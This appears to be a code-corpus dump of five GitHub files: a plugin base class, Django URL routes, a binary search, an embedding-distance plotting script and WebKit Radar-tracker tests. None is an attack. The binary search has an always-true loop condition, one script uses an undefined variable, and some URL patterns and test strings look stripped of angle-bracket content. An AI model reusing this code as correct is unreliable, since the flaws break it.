+{"seq_id":"11577147411","text":"\"\"\"\"Base classes and methods for Command plugins\"\"\"\n\n# pylint: disable=W0603\n\nimport argparse\nimport errno\nimport inspect\nimport io\nimport logging\nimport sys\nfrom typing import List\n\nfrom pavilion import arguments\nfrom pavilion import output\nfrom yapsy import IPlugin\n\n_COMMANDS = {}\n\n\ndef __reset():\n \"\"\"Reset the command plugins. This is only to be used as part of\n unittests.\"\"\"\n\n global _COMMANDS\n\n _COMMANDS = {}\n\n arguments.reset_parser()\n\n\ndef add_command(command):\n \"\"\"Add the given command instance to the dictionary of commands.\n\n:param Command command: The command object to add\n\"\"\"\n\n global _COMMANDS\n\n for name in command.aliases:\n if name not in _COMMANDS:\n _COMMANDS[name] = command\n else:\n raise RuntimeError(\n \"Multiple commands of the same name are not allowed to exist. \"\n \"command.{c1.name} found at both {c1.path} and {c2.path}.\"\n .format(c1=_COMMANDS[name], c2=command))\n\n\ndef cmd_tracker():\n \"\"\"Return the command tracking object.\"\"\"\n\n # We can't just import this - it gets pointed at different objects over time.\n return _COMMANDS\n\n\nclass Command(IPlugin.IPlugin):\n \"\"\"Provides a pavilion command via a plugin.\n\n :ivar argparse.ArgumentParser parser: The plugin's argument parser object.\n \"\"\"\n\n def __init__(self, name, description, short_help=None, aliases=None,\n sub_commands=False, formatter_class=None):\n \"\"\"Initialize this command. This should be overridden by subclasses, to\n set reasonable values. Multiple commands of the same name are not\n allowed to exist.\n\n :param name: The name of this command. Will be used as the subcommand\n name.\n :param str description: The full description and help header for this\n command. Displayed with 'pav --help'.\n :param str short_help: A short description of the command displayed\n when doing a 'pav --help'. If this is None, the command won't\n be listed.\n :param list aliases: A list of aliases for the command.\n :param bool sub_commands: Enable the standardized way of adding sub\n commands.\n \"\"\"\n super().__init__()\n\n if aliases is None:\n aliases = []\n\n aliases = [name] + aliases.copy()\n\n self.logger = logging.getLogger('command.' + name)\n self.name = name\n self.file = inspect.getfile(self.__class__)\n self.description = description\n self.short_help = short_help\n self.aliases = aliases\n self.formatter_class = formatter_class\n\n # These are to allow tests to redirect output as needed.\n self.outfile = sys.stdout\n self.errfile = sys.stderr\n\n self.sub_cmds = {}\n if sub_commands:\n self._inventory_sub_commands()\n\n self._parser = None\n\n # This is used primarily by the run command,\n self.last_series = None\n self.last_tests = [] # type: List\n\n def _inventory_sub_commands(self):\n \"\"\"Find all the sub commands and populate the sub_cmds dict.\"\"\"\n\n # Walk the class dictionary and add any functions with aliases\n # to our dict of commands under each listed alias.\n for func in self.__class__.__dict__.values():\n\n # Add alias names\n if callable(func) and hasattr(func, 'aliases'):\n # Add the name from the function.\n name = func.__name__\n if name.endswith('_cmd'):\n name = name[:-4]\n name = name.lstrip('_')\n self.sub_cmds[name] = func\n\n for alias in func.aliases:\n self.sub_cmds[alias] = func\n\n def _setup_arguments(self, parser):\n \"\"\"Setup the commands arguments in the Pavilion argument parser. This\nis handed a pre-created sub-command parser for this command. Simply\nadd arguments to it like you would a base parser. ::\n\n parser.add_arguemnt('-x', '--extra',\n action='store_true',\n help=\"Add extra stuff.\")\n\n:param argparse.ArgumentParser parser: The parser object.\n\"\"\"\n\n def _setup_other(self):\n \"\"\"Additional setup actions for this command at activation time.\n The base version of this does nothing..\"\"\"\n\n def activate(self):\n \"\"\"The Yapsy plugin system calls this to setup the plugin. In this\ncase that includes:\n\n- Adding the command's sub-command arguments to the general pavilion argument\n parser.\n- Running the _setup_other method.\n- Adding the command to Pavilion's known commands.\n\"\"\"\n\n # Add the arguments for this command to the\n sub_parser = arguments.get_subparser()\n\n # Add the short help, or not. A quirk of argparse is that if 'help'\n # is set, the subcommand is listed regardless of whether the\n # help is None. If we don't want that, we have to init without 'help'.\n if self.short_help is not None and self.formatter_class is not None:\n parser = sub_parser.add_parser(self.name,\n aliases=self.aliases,\n description=self.description,\n help=self.short_help,\n formatter_class=self.formatter_class)\n\n elif self.short_help is None and self.formatter_class is not None:\n parser = sub_parser.add_parser(self.name,\n aliases=self.aliases,\n description=self.description,\n formatter_class=self.formatter_class)\n\n elif self.short_help is not None and self.formatter_class is None:\n parser = sub_parser.add_parser(self.name,\n aliases=self.aliases,\n description=self.description,\n help=self.short_help)\n else:\n parser = sub_parser.add_parser(self.name,\n aliases=self.aliases,\n description=self.description)\n\n # Save the argument parser, as it can come in handy.\n self._parser = parser\n\n self._setup_arguments(parser)\n\n self._setup_other()\n\n add_command(self)\n\n def deactivate(self):\n \"\"\"You can't deactivate commands.\"\"\"\n raise RuntimeError(\"Command plugins cannot be deactivated.\")\n\n def run(self, pav_cfg, args):\n \"\"\"Override this method with your command's code.\n\n:param pav_cfg: The pavilion configuration object.\n:param argparse.Namespace args: The parsed arguments for pavilion.\n:return: The return code of the command should denote success (0) or\n failure (not 0).\n\"\"\"\n raise NotImplementedError(\n \"Command plugins must override the 'run' method.\")\n\n def _run_sub_command(self, pav_cfg, args):\n \"\"\"Find and run the subcommand.\"\"\"\n\n cmd_name = args.sub_cmd\n\n if cmd_name is None:\n output.fprint(self.errfile, \"You must provide a sub command.\",\n color=output.RED)\n self._parser.print_help(file=self.errfile)\n return errno.EINVAL\n\n if cmd_name not in self.sub_cmds:\n raise RuntimeError(\"Invalid sub-cmd '{}'\".format(cmd_name))\n\n cmd_result = self.sub_cmds[cmd_name](self, pav_cfg, args)\n return 0 if cmd_result is None else cmd_result\n\n def __repr__(self):\n return '<{} from file {} named {}>'.format(\n self.__class__.__name__,\n self.file,\n self.name\n )\n\n def silence(self):\n \"\"\"Convert the command to use string IO for its output and error\n output.\"\"\"\n self.outfile = io.StringIO()\n self.errfile = io.StringIO()\n\n def clear_output(self):\n \"\"\"Reset the output io buffers for this command.\"\"\"\n\n if not isinstance(self.outfile, io.StringIO):\n raise RuntimeError(\"Only silenced commands can be cleared.\")\n\n self.outfile.seek(0)\n data = self.outfile.read()\n self.outfile.seek(0)\n self.outfile.truncate(0)\n\n self.errfile.seek(0)\n err_data = self.errfile.read()\n self.errfile.seek(0)\n self.errfile.truncate(0)\n\n return data, err_data\n\n @property\n def path(self):\n \"\"\"The path to the object that defined this instance.\"\"\"\n\n return inspect.getfile(self.__class__)\n\n\ndef sub_cmd(*aliases):\n \"\"\"Tag this given function as a sub_cmd, and record its aliases.\"\"\"\n\n def tag_aliases(func):\n \"\"\"Attach all the aliases to the given function, but return the\n function itself. The function name, absent leading underscores and\n without a trailing '_cmd', is added by default.\"\"\"\n name = func.__name__\n\n while name.startswith('_'):\n name = name[1:]\n\n if name.endswith('_cmd'):\n name = name[:-4]\n\n func.aliases = [name]\n for alias in aliases:\n func.aliases.append(alias)\n\n return func\n\n return tag_aliases\n","repo_name":"hpc/pavilion2","sub_path":"lib/pavilion/commands/base_classes.py","file_name":"base_classes.py","file_ext":"py","file_size_in_byte":9259,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"3"}
+{"seq_id":"374532034","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n path('', views.index, name='index'),\n path(\"recipe//\", views.profile, name='profile'),\n path('new-recipe', views.new_recipe, name='new_recipe'),\n path(\n 'recipe//edit',\n views.recipe_edit,\n name='recipe_edit'\n ),\n path(\n 'recipe//delete',\n views.recipe_delete,\n name='recipe_delete'\n ),\n path(\n 'recipe///',\n views.recipe_view,\n name='recipe_view'\n ),\n path(\"follow//\", views.follow, name='follow'),\n path('followrecipe//', views.follow_recipe, name='followrecipe'),\n path('shopping-list/', views.shopping_list, name='shopping-list'),\n path('download', views.download, name='download'),\n]\n","repo_name":"popperony/foodgram-project","sub_path":"foodgram/recipe/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26418533682","text":"\"\"\" a module with multiple binary search object definitions\"\"\"\n\n\nclass BinarySearchBase:\n def __init__(self, array, value) -> None:\n self.array = array\n self.value = value\n\n def simple_binary_search(self):\n\n \"\"\"take a list and a value, search for the value in the list\n and return its index if found\"\"\"\n\n first = 0\n last = len(self.array) - 1\n\n while last >= last:\n mid = (last + first) // 2\n fetched_val = self.array[mid]\n\n if fetched_val == self.value:\n return mid\n elif fetched_val > self.value:\n last = mid - 1\n else:\n first = mid + 1\n print(f\"didn't find the given value\")\n return None\n","repo_name":"pyerbiz/make_a_developer","sub_path":"algorithms/grokking_algorithms/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72102725523","text":"#imports\nimport seaborn as sns, numpy as np\nfrom numpy.linalg import norm\nimport matplotlib.pyplot as plt\nfrom pylab import *\nimport sys\n\n#loading the learned embeddings\ntrain_emb = np.loadtxt('../embeddings/train_emb_triplet')\ntrain_lab = np.loadtxt('../embeddings/train_lab_triplet')\nval_emb = np.loadtxt('../embeddings/val_emb_triplet')\nval_lab = np.loadtxt('../embeddings/val_lab_triplet')\ntest_emb = np.loadtxt('../embeddings/test_emb_triplet')\ntest_lab = np.loadtxt('../embeddings/test_lab_triplet')\n\n#Distance Plots\ndistance_to_ = []\nfor i in range(0,test_emb.shape[0]):\n sublist = []\n for j in range(0,test_emb.shape[0]):\n labels = tuple([int(test_lab[i]),int(test_lab[j])])\n sublist.append(tuple([norm(test_emb[i]-test_emb[j]),labels]))\n #sublist.sort()\n distance_to_.append(sublist)\n\n # List of distances between Sentinel (anchor) and Naip (pos,neg)\n # Plotting anchor, positive and negative distances\n\nx_neg = []\nx_pos = []\nx_arr_neg = np.asarray([0]*len(test_dataset))\nx_arr_pos = np.asarray([0]*len(test_dataset))\nx_arr_neg_list = []\nx_arr_pos_list = []\nx_arr_labels_list = []\nx_arr_labels_list_n = []\n\nfor i in range(0,int(len(distance_to_)/2)):\n x_n_ = []\n x_p_ = []\n x_p_labels = []\n x_n_labels = []\n x_n_labels_raw = []\n for j in range(0,int(len(distance_to_)/2)):\n if distance_to_[i*2+1][j*2][1][1] == i:\n x_p_.append(distance_to_[i*2+1][j*2][0])\n x_p_labels.append(i)\n else:\n x_n_.append(distance_to_[i*2+1][j*2][0])\n x_n_labels.append((i*2+1,j*2))\n x_n_labels_raw.append((i,j))\n x_arr_neg_ = np.asarray(x_n_)\n x_arr_pos_ = np.asarray(x_p_)\n x_arr_neg_list.append(x_arr_neg_)\n #x_arr_pos = x_arr_pos + x_arr_pos_\n x_arr_pos_list.append(x_arr_pos_)\n x_arr_labels_list.append(x_p_labels)\n x_arr_labels_list_n.append(x_n_labels_raw)\n x_mean_neg = np.mean(x_arr_neg, axis=0)\n x_mean_pos = np.mean(x_arr_pos, axis=0)\n x_std_neg = np.std(x_arr_neg, axis=0)\n x_std_pos = np.std(x_arr_pos, axis=0)\n\nsns.set()\nx = x_arr_neg_list\nx_2 = x_arr_pos_list\nax = sns.distplot(x,label=\"different location\")\nax = sns.distplot(x_2,label=\"same location\")\nax.set(xlabel='Distance', ylabel='Distribution')\nplt.title(\"Distance between locations\")\nplt.legend()\nplt.show()\n\n#Distance of all Embeddings\n\nx = [] #distances from Sentinel to all Naip embeddings as list\nx_same = [] #distances Sentinel to Naip for same location\nfor i in range(0,int(len(distance_to_)/2)):\n x_ = []\n x_same_=[]\n for j in range(0,int(len(distance_to_)/2)):\n x_.append(distance_to_[i*2+1][j*2][0]) #distance from Sentinel to naip\n if distance_to_[i*2+1][j*2][1][1] == i:\n x_same_.append(distance_to_[i*2+1][j*2][0])\n x.append(x_)\n x_same.append(x_same_)\n\ndistances_to_plot = [0,1,2,3,4,5,6,7,8]\nclasses = int(len(distance_to_)/2)\ny = list(range(0, int(len(distance_to_)/2)))\n\nfig = plt.figure(figsize=(30,15))\nsubplots_adjust(hspace=1.000)\nnumber_of_subplots=len(distances_to_plot)\n\nfig, axs = plt.subplots(len(distances_to_plot), 1, constrained_layout=True,sharex=True)\naxs = axs.ravel()\nfor i in range(0,len(distances_to_plot)):\n y = [distances_to_plot[i]]*classes\n axs[i].scatter(x[distances_to_plot[i]],y,label=\"negative images\")\n #axs[i].scatter(x[distances_to_plot[i]],y, label='Distance between images of different locations')\n #axs[i].set_xlabel('Distance between images of different locations')\n axs[i].set_ylabel(str(distances_to_plot[i]))\n axs[i].plot(x_same[distances_to_plot[i]][0],distances_to_plot[i],'ro',markersize=10,label=\"positive images\")\n axs[i].set_yticklabels([])\n #legend(loc=\"upper right\")\n#handles, labels = ax.get_legend_handles_labels()\n#fig.legend(handles, labels, loc='right')\nfig.suptitle('Distances between anchor (Sentinel images) to positive/negative (NAIP images)', fontsize=10)\nplt.xlabel('Distance between images of different locations')\n#fig.labels()\n#plt.ylabel('Location of Anchor image')\nplt.show()\n","repo_name":"climate-ai/truebranch","sub_path":"Metric_learning/embed_visualisation.py","file_name":"embed_visualisation.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"11344475696","text":"import json\nimport unittest\n\nfrom webkitbugspy import Issue, Tracker, User, radar, mocks\nfrom webkitcorepy import mocks as wkmocks, OutputCapture\n\n\nclass TestRadar(unittest.TestCase):\n def test_encoding(self):\n self.assertEqual(\n radar.Tracker.Encoder().default(radar.Tracker(project='WebKit')),\n dict(hide_title=True, type='radar', projects=['WebKit']),\n )\n\n def test_decoding(self):\n decoded = Tracker.from_json(json.dumps(radar.Tracker(), cls=Tracker.Encoder))\n self.assertIsInstance(decoded, radar.Tracker)\n self.assertEqual(decoded.from_string('rdar://1234').id, 1234)\n\n def test_no_radar(self):\n with mocks.NoRadar():\n tracker = radar.Tracker()\n self.assertIsNone(tracker.library)\n self.assertIsNone(tracker.client)\n\n def test_users(self):\n with mocks.Radar(users=mocks.USERS):\n tracker = radar.Tracker()\n self.assertEqual(\n User.Encoder().default(tracker.user(username=504)),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n self.assertEqual(\n User.Encoder().default(tracker.user(email='tcontributor@example.com')),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n self.assertEqual(\n User.Encoder().default(tracker.user(name='Felix Filer')),\n dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n )\n self.assertEqual(\n User.Encoder().default(tracker.user(name='Olivia Outsider', email='ooutsider@example.com')),\n dict(name='Olivia Outsider', emails=['ooutsider@example.com']),\n )\n\n def test_link(self):\n with mocks.Radar(users=mocks.USERS):\n tracker = radar.Tracker()\n self.assertEqual(tracker.issue(1234).link, 'rdar://1234')\n self.assertEqual(\n tracker.from_string('').link,\n 'rdar://1234',\n )\n self.assertEqual(\n tracker.from_string('').link,\n 'rdar://1234',\n )\n self.assertEqual(\n tracker.from_string('').link,\n 'rdar://1234',\n )\n\n def test_title(self):\n with mocks.Radar(issues=mocks.ISSUES):\n tracker = radar.Tracker()\n self.assertEqual(tracker.issue(1).title, 'Example issue 1')\n self.assertEqual(str(tracker.issue(1)), 'rdar://1 Example issue 1')\n\n def test_timestamp(self):\n with mocks.Radar(issues=mocks.ISSUES):\n self.assertEqual(radar.Tracker().issue(1).timestamp, 1639510960)\n\n def test_creator(self):\n with mocks.Radar(issues=mocks.ISSUES):\n self.assertEqual(\n User.Encoder().default(radar.Tracker().issue(1).creator),\n dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n )\n\n def test_description(self):\n with mocks.Radar(issues=mocks.ISSUES):\n self.assertEqual(\n radar.Tracker().issue(1).description,\n 'An example issue for testing',\n )\n\n def test_assignee(self):\n with mocks.Radar(issues=mocks.ISSUES):\n self.assertEqual(\n User.Encoder().default(radar.Tracker().issue(1).assignee),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n\n def test_comments(self):\n with mocks.Radar(issues=mocks.ISSUES):\n comments = radar.Tracker().issue(1).comments\n self.assertEqual(len(comments), 2)\n self.assertEqual(comments[0].timestamp, 1639511020)\n self.assertEqual(comments[0].content, 'Was able to reproduce on version 1.2.3')\n self.assertEqual(\n User.Encoder().default(comments[0].user),\n dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n )\n\n def test_watchers(self):\n with mocks.Radar(issues=mocks.ISSUES):\n self.assertEqual(\n User.Encoder().default(radar.Tracker().issue(1).watchers), [\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n dict(name='Wilma Watcher', username=46, emails=['wwatcher@example.com']),\n ],\n )\n\n def test_references(self):\n with mocks.Radar(issues=mocks.ISSUES):\n tracker = radar.Tracker()\n self.assertEqual(tracker.issue(1).references, [])\n self.assertEqual(tracker.issue(2).references, [tracker.issue(3)])\n self.assertEqual(tracker.issue(3).references, [tracker.issue(2)])\n\n def test_reference_parse(self):\n with wkmocks.Environment(RADAR_USERNAME='wwatcher'), mocks.Radar(issues=mocks.ISSUES) as mock:\n tracker = radar.Tracker()\n tracker.issue(1).add_comment('Is this related to ?')\n self.assertEqual(tracker.issue(1).references, [tracker.issue(2)])\n\n def test_me(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n self.assertEqual(\n User.Encoder().default(radar.Tracker().me()),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n\n def test_add_comment(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n issue = radar.Tracker().issue(1)\n self.assertEqual(len(issue.comments), 2)\n\n comment = issue.add_comment('Automated comment')\n self.assertEqual(comment.content, 'Automated comment')\n self.assertEqual(\n User.Encoder().default(comment.user),\n User.Encoder().default(radar.Tracker().me()),\n )\n\n self.assertEqual(len(issue.comments), 3)\n self.assertEqual(len(radar.Tracker().issue(1).comments), 3)\n\n def test_assign(self):\n with wkmocks.Environment(RADAR_USERNAME='ffiler'), mocks.Radar(issues=mocks.ISSUES):\n issue = radar.Tracker().issue(1)\n self.assertEqual(\n User.Encoder().default(issue.assignee),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n issue.assign(radar.Tracker().me())\n self.assertEqual(\n User.Encoder().default(issue.assignee),\n dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n )\n\n issue = radar.Tracker().issue(1)\n self.assertEqual(\n User.Encoder().default(issue.assignee),\n dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n )\n\n def test_assign_why(self):\n with wkmocks.Environment(RADAR_USERNAME='ffiler'), mocks.Radar(issues=mocks.ISSUES):\n issue = radar.Tracker().issue(1)\n self.assertEqual(\n User.Encoder().default(issue.assignee),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n issue.assign(radar.Tracker().me(), why='Let me provide a better reproduction')\n self.assertEqual(\n User.Encoder().default(issue.assignee),\n dict(name='Felix Filer', username=809, emails=['ffiler@example.com']),\n )\n self.assertEqual(issue.comments[-1].content, 'Let me provide a better reproduction')\n\n def test_state(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n issue = radar.Tracker().issue(1)\n self.assertTrue(issue.opened)\n self.assertFalse(issue.open())\n self.assertTrue(issue.close())\n self.assertFalse(issue.opened)\n\n issue = radar.Tracker().issue(1)\n self.assertFalse(issue.opened)\n self.assertFalse(issue.close())\n self.assertTrue(issue.open())\n self.assertTrue(issue.opened)\n\n def test_state_why(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n issue = radar.Tracker().issue(1)\n self.assertTrue(issue.opened)\n self.assertTrue(issue.close(why='Fixed in 1234@main'))\n self.assertFalse(issue.opened)\n self.assertEqual(issue.comments[-1].content, 'Fixed in 1234@main')\n\n issue = radar.Tracker().issue(1)\n self.assertFalse(issue.opened)\n self.assertTrue(issue.open(why='Need to revert, fix broke the build'))\n self.assertTrue(issue.opened)\n self.assertEqual(issue.comments[-1].content, 'Need to revert, fix broke the build')\n\n def test_duplicate(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n tracker = radar.Tracker()\n issue = tracker.issue(1)\n self.assertTrue(issue.opened)\n self.assertTrue(issue.close(original=tracker.issue(2)))\n self.assertFalse(issue.opened)\n self.assertEqual(issue.original, tracker.issue(2))\n\n self.assertEqual(tracker.issue(1).original, tracker.issue(2))\n\n def test_projects(self):\n with mocks.Radar(projects=mocks.PROJECTS):\n self.assertDictEqual(\n dict(\n WebKit=dict(\n description=None,\n versions=[],\n components=dict(\n Scrolling=dict(\n versions=['Other', 'Safari 15', 'Safari Technology Preview', 'WebKit Local Build'],\n description='Bugs related to main thread and off-main thread scrolling',\n ), SVG=dict(\n versions=['Other', 'Safari 15', 'Safari Technology Preview', 'WebKit Local Build'],\n description='For bugs in the SVG implementation.',\n ), Tables=dict(\n versions=['Other', 'Safari 15', 'Safari Technology Preview', 'WebKit Local Build'],\n description='For bugs specific to tables (both the DOM and rendering issues).',\n ), Text=dict(\n versions=['Other', 'Safari 15', 'Safari Technology Preview', 'WebKit Local Build'],\n description='For bugs in text layout and rendering, including international text support.',\n ),\n ),\n ),\n ), radar.Tracker(project='WebKit').projects,\n )\n\n def test_create(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n created = radar.Tracker(projects=['CFNetwork', 'WebKit']).create(\n 'New bug', 'Creating new bug',\n project='WebKit', component='Tables', version='Other',\n )\n self.assertEqual(created.id, 4)\n self.assertEqual(created.title, 'New bug')\n self.assertEqual(created.description, 'Creating new bug')\n self.assertTrue(created.opened)\n self.assertEqual(\n User.Encoder().default(created.creator),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n self.assertEqual(\n User.Encoder().default(created.assignee),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n\n self.assertEqual(created.project, 'WebKit')\n self.assertEqual(created.component, 'Tables')\n self.assertEqual(created.version, 'Other')\n\n def test_create_prompt(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS), \\\n wkmocks.Terminal.input('2', '4', '4'), OutputCapture() as captured:\n\n created = radar.Tracker(projects=['CFNetwork', 'WebKit']).create('New bug', 'Creating new bug')\n self.assertEqual(created.id, 4)\n self.assertEqual(created.title, 'New bug')\n self.assertEqual(created.description, 'Creating new bug')\n self.assertTrue(created.opened)\n self.assertEqual(\n User.Encoder().default(created.creator),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n self.assertEqual(\n User.Encoder().default(created.assignee),\n dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n )\n\n self.assertEqual(created.project, 'WebKit')\n self.assertEqual(created.component, 'Text')\n self.assertEqual(created.version, 'WebKit Local Build')\n\n self.assertEqual(\n captured.stdout.getvalue(),\n '''What project should the bug be associated with?:\n 1) CFNetwork\n 2) WebKit\n: \nWhat component in 'WebKit' should the bug be associated with?:\n 1) SVG\n 2) Scrolling\n 3) Tables\n 4) Text\n: \nWhat version of 'WebKit Text' should the bug be associated with?:\n 1) Other\n 2) Safari 15\n 3) Safari Technology Preview\n 4) WebKit Local Build\n: \n''',\n )\n\n def test_get_component(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n issue = radar.Tracker(project='WebKit').issue(1)\n self.assertEqual(issue.project, 'WebKit')\n self.assertEqual(issue.component, 'Text')\n self.assertEqual(issue.version, 'Other')\n\n def test_set_component(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n radar.Tracker(project='WebKit').issue(1).set_component(component='Tables', version='Safari 15')\n\n issue = radar.Tracker(project='WebKit').issue(1)\n self.assertEqual(issue.project, 'WebKit')\n self.assertEqual(issue.component, 'Tables')\n self.assertEqual(issue.version, 'Safari 15')\n\n def test_labels(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n issue = radar.Tracker().issue(1)\n self.assertEqual(issue.labels, [])\n\n def test_redaction(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n self.assertEqual(radar.Tracker(\n project='WebKit',\n redact=None,\n ).issue(1).redacted, False)\n\n self.assertTrue(bool(radar.Tracker(\n project='WebKit',\n redact={'.*': True},\n ).issue(1).redacted))\n self.assertEqual(radar.Tracker(\n project='WebKit',\n redact={'.*': True},\n ).issue(1).redacted, radar.Tracker.Redaction(True, 'is a Radar'),)\n\n self.assertEqual(radar.Tracker(\n project='WebKit',\n redact={'project:WebKit': True},\n ).issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'project:WebKit'\"))\n\n self.assertEqual(radar.Tracker(\n project='WebKit',\n redact={'component:Text': True},\n ).issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n\n self.assertEqual(radar.Tracker(\n project='WebKit',\n redact={'version:Other': True},\n ).issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'version:Other'\"))\n\n def test_redacted_duplicate(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n tracker = radar.Tracker(project='WebKit', redact={'component:Text': True})\n self.assertEqual(tracker.issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n self.assertEqual(tracker.issue(2).redacted, False)\n tracker.issue(1).close(original=tracker.issue(2))\n self.assertEqual(tracker.issue(2).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n\n def test_redacted_original(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n tracker = radar.Tracker(project='WebKit', redact={'component:Text': True})\n self.assertEqual(tracker.issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n self.assertEqual(tracker.issue(2).redacted, False)\n tracker.issue(2).close(original=tracker.issue(1))\n self.assertEqual(tracker.issue(2).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n\n def test_redaction_exception(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n self.assertEqual(radar.Tracker(\n project='WebKit',\n redact={'.*': True},\n redact_exemption={'component:Text': True},\n ).issue(1).redacted, radar.Tracker.Redaction(\n exemption=True, reason=\"matches 'component:Text'\",\n ))\n self.assertEqual(radar.Tracker(\n project='WebKit',\n redact={'.*': True},\n redact_exemption={'component:Scrolling': True},\n ).issue(1).redacted, radar.Tracker.Redaction(True, 'is a Radar'))\n\n def test_milestone(self):\n with mocks.Radar(issues=mocks.ISSUES):\n tracker = radar.Tracker()\n self.assertEqual(tracker.issue(1).milestone, 'October')\n\n def test_keywords(self):\n with mocks.Radar(issues=mocks.ISSUES):\n tracker = radar.Tracker()\n self.assertEqual(tracker.issue(1).keywords, ['Keyword A'])\n\n def test_classification(self):\n with mocks.Radar(issues=mocks.ISSUES):\n tracker = radar.Tracker()\n self.assertEqual(tracker.issue(1).classification, 'Other Bug')\n\n def test_clone(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n tracker = radar.Tracker()\n original = tracker.issue(1)\n cloned = tracker.clone(original, reason='Cloning for merge-back')\n\n self.assertEqual(original.title, cloned.title)\n self.assertEqual(original.classification, cloned.classification)\n self.assertEqual(original.project, cloned.project)\n self.assertEqual(original.component, cloned.component)\n self.assertEqual(original.version, cloned.version)\n self.assertEqual(\n cloned.description,\n 'Reason for clone:\\n'\n 'Cloning for merge-back\\n\\n'\n '\\n\\n'\n 'An example issue for testing',\n )\n\n def test_set_keywords(self):\n with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n tracker = radar.Tracker()\n issue = tracker.issue(1)\n\n self.assertEqual(issue.keywords, ['Keyword A'])\n issue.set_keywords(['Keyword B'])\n self.assertEqual(issue.keywords, ['Keyword B'])\n self.assertEqual(tracker.issue(1).keywords, ['Keyword B'])\n","repo_name":"WebKit/WebKit","sub_path":"Tools/Scripts/libraries/webkitbugspy/webkitbugspy/tests/radar_unittest.py","file_name":"radar_unittest.py","file_ext":"py","file_size_in_byte":20079,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"}
